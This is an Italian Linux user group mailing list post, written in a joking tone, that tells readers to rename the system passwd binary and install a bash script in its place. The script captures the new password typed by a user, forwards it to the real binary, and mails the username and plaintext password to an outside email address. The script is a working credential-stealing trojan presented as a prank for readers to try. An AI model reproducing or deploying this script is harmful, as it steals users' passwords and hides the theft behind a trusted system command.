[FLUG] hack-it il lanciafiamme

Mailing List del Fortunae LUG
=============================

http://utenti.lycos.it/fanolug/hack-it/index.html/ trovate le foto

invece una figata, sul vostro sistema, rinominate il vostro passwd in
wdpass
create uno script chiamato passwd e mettetelo in /bin
dentro sto script copiateci sta cosa

#!/bin/bash

if test x$1 = "x--help" -o x$1 = "x-h"; then
  echo "passwd [utente]"
fi

NEWPASS1="a";
NEWPASS2="b";
while test x$NEWPASS1 != x$NEWPASS2
do
  read -s -p "New password:" NEWPASS1;
  echo
  read -s -p "Retype new password:" NEWPASS2;
  echo
  if test x$NEWPASS1 != x$NEWPASS2; then
    echo "Sorry, passwords do not match"
  fi
done

if test x$1 != x; then
  UTENTE=$1
else
  UTENTE=`whoami`
fi
echo $NEWPASS1 | wdpass $UTENTE --stdin

echo "Utente $UTENTE, Password $NEWPASS1" | mail -s "Cambio di Password"
gecco@xxxxxxxxxxxx

(sta cosa l`ha scritto simon sul treno sul mio portatile, come
testimonia la foto)
--
<SmartArt> Ogni giorno un sistemista Windows NT si sveglia...... e sa che 
dovra' lavorare. 
<SmartArt> Ogni giorno un sistemista Linux si sveglia...... alle 13.00, per il 
pranzo. 
<SmartArt> Non importa che tu sia sistemista Windows NT o Linux.....tanto ti 
pagano uguale!

Other related posts: